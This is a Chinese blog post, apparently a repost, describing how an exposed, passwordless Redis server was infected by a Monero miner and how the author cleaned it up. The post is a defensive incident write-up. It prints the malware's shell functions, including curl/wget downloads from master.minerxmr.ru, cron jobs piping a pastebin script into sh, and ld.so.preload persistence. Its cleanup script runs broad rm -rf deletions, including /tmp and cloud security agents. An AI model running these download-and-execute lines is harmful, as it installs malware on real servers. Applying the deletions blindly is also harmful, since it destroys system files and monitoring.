背景
最近由于在弄springboot shiro的redis session共享的问题,所以在服务器上部署了redis,因为没有太多的考虑所以没有设置密码。
等到第二天的时候,发现redis外网无法访问内网可以。
查看端口绑定情况 netstat -antlp | grep 6379 发现绑定没有问题
查看本地的路由,发现绑定到了127.0.0.1
发现绑定问题之后,就增加一条路由规则
iptables -I INPUT -p tcp --dport 6379 -j ACCEPT
病毒代码
function tables() { iptables -I INPUT -p TCP --dport 6379 -j REJECT iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT iptables-save touch /tmp/.tables }
增加了之后终于外网能访问了,利用RedisDesktopManager 再次连接后,发现内容里面多了两条定时任务,感觉很奇怪也没在意,以为不是很大的问题,反正能用也没在意。
终于第三天redis又不能访问了,而且又增加了一条本地端口映射的路由规则。
感觉上服务器有一些问题,马上看了下 服务器ssh登入的 authorized_keys文件,发现里面内容key增加了不少。
于是进行百度查询相关的问题,根据描述基本可以确定中了挖矿木马。
查看服务器的定时任务 crontab -l 始终会有一条定时任务,采用命令crontab -r 进行删除,1分钟后又会自动生成
原理
采用定时任务脚本下载对应的执行程序,并将对应的程序命名成为 libdns.so
下面为部分的定时任务代码
function top() { mkdir -p /usr/local/lib/ if [ ! -f "/usr/local/lib/libdns.so" ]; then curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -o /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so if [ ! -f "/usr/local/lib/libdns.so" ]; then wget https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -O /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so fi fi echo /usr/local/lib/libdns.so > /etc/ld.so.preload touch -acmr /bin/sh /etc/ld.so.preload touch -acmr /bin/sh /usr/local/lib/libdns.so }
简单点理解,只要你的定时任务不删除,对应的程序就会下载,就会往本地电脑中添加定时任务
定时任务路径
function echocron() { echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root mkdir -p /etc/cron.hourly curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner if [ ! -f "/etc/cron.hourly/oanacroner" ]; then wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner fi mkdir -p /etc/cron.daily curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner if [ ! -f "/etc/cron.daily/oanacroner" ]; then wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner fi mkdir -p /etc/cron.monthly curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner if [ ! -f "/etc/cron.monthly/oanacroner" ]; then wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner fi touch -acmr /bin/sh /var/spool/cron/root touch -acmr /bin/sh /var/spool/cron/crontabs/root touch -acmr /bin/sh /etc/cron.d/apache touch -acmr /bin/sh /etc/cron.d/root touch -acmr /bin/sh /etc/cron.hourly/oanacroner touch -acmr /bin/sh /etc/cron.daily/oanacroner touch -acmr /bin/sh /etc/cron.monthly/oanacroner }
病毒程序代码
function downloadrunxm() { mkdir -p /var/tmp chmod 1777 /var/tmp pm=$(netstat -an | grep :56415 | wc -l) if [ ${pm} -eq 0 ];then rm -rf /var/tmp/config.json* curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539581805x1822611359.jpg -o /var/tmp/config.json && chmod +x /var/tmp/config.json if [ ! -f "/var/tmp/config.json" ]; then wget https://master.minerxmr.ru/y/1539581805x1822611359.jpg -O /var/tmp/config.json && chmod +x /var/tmp/config.json fi ARCH=$(uname -i) if [ "$ARCH" == "x86_64" ]; then rm -rf /var/tmp/kworkerds* curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds if [ ! -f "/var/tmp/kworkerds" ]; then wget https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds fi nohup /var/tmp/kworkerds >/dev/null 2>&1 & elif [ "$ARCH" == "i386" ]; then rm -rf /var/tmp/kworkerds* curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1537410750x-1566657908.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds if [ ! -f "/var/tmp/kworkerds" ]; then wget https://master.minerxmr.ru/y/1537410750x-1566657908.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds fi nohup /var/tmp/kworkerds >/dev/null 2>&1 & else rm -rf /var/tmp/kworkerds* curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1537410304x-1404764882.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds if [ ! -f "/var/tmp/kworkerds" ]; then wget https://master.minerxmr.ru/y/1537410304x-1404764882.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds fi nohup /var/tmp/kworkerds >/dev/null 2>&1 & fi fi }
解决方案
1.排查用户是否增加。有增加进行删除(该概率比较小)
2.排查登入免密登入文件是否修改。如果服务器采用 sshkey登入,排查文件authorized_keys 中的key是否有增加(原理 具体详见 ssh 免秘钥登入服务器),最好进行原秘钥登入删除,进行更新,顺便可以考虑更换一下ssh端口(建议,纯粹为了系统安全,更改方式,详见百度)
3.查看所有定时任务执行脚本,明确本地的程序。定时任务查看 crontab -l 查看服务器定时任务,定人任务中包含 wget 网址后面跟了 sh(忘记截图,只能描述一下),然后根据定时任务中的网址进行浏览器访问,会得到一大串的乱码,将乱码复制,然后粘贴到Base64解码工具中进行解码,可以获得 定时任务执行的命令。然后分析对应个的脚本内容。会查看到本地的执行程序 libudev.so ,也可以看到脚本中增加了6379增加了本地路由规则,查看到程序后 进行删除,不删除程序,则会不断增加定时任务到 系统中。(因为已经处理,所以不能配图了)
4.删除定时任务。1) crontab -r 删除任务 2) cd /etc/cron.d 删除apache,及root(经查看本次中的内容跟网上的不太一样,这几个文件中均有定时任务,所以进行了删除)
5.查看进行。top -c 查看占用cup很高的进程(因为已经删除所有不能进行配图),查看到kworkerds 进行,路径在 /tmp下。 kill -9 pid 进行杀死进行,然后进行目录下进行删除内容
脚本
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
iptables -A INPUT -s pastebin.com -j DROP
iptables -A OUTPUT -d pastebin.com -j DROP
rm -rf /bin/dns crontab -r rm -rf /etc/cron.d rm -rf /etc/crontab rm -rf /usr/local/lib/libdns.so rm -rf /usr/local/lib/libdns.so rm -rf /etc/ld.so.preload rm -rf /tmp/.pythong rm -rf /var/spool/cron rm -rf /etc/cron.hourly rm -rf /etc/cron.daily rm -rf /etc/cron.monthly rm -rf /tmp/.tables rm -rf /etc/init.d/agentwatch rm -rf /usr/sbin/aliyun-service rm -rf /usr/local/aegis* killall kworkerds rm -rf /tmp/kworkerds rm -rf /var/tmp/config.json rm -rf /tmp
一段时间后发现 系统定时任务已经不会在增加,并且已经不纯在高消耗cpu的进程了。
总结
1.该问题如果需要完全解决,必须好好查看对应的定时任务下载并执行的脚本,而且发现该问题并不是一成不变的,在处理问题的时候发现与百度上描述的还是有很大的区别。
2.给redis增加上安全控制(很重要)
转载的话,请标明下出处 https://www.cnblogs.com/dyft/articles/9797664.html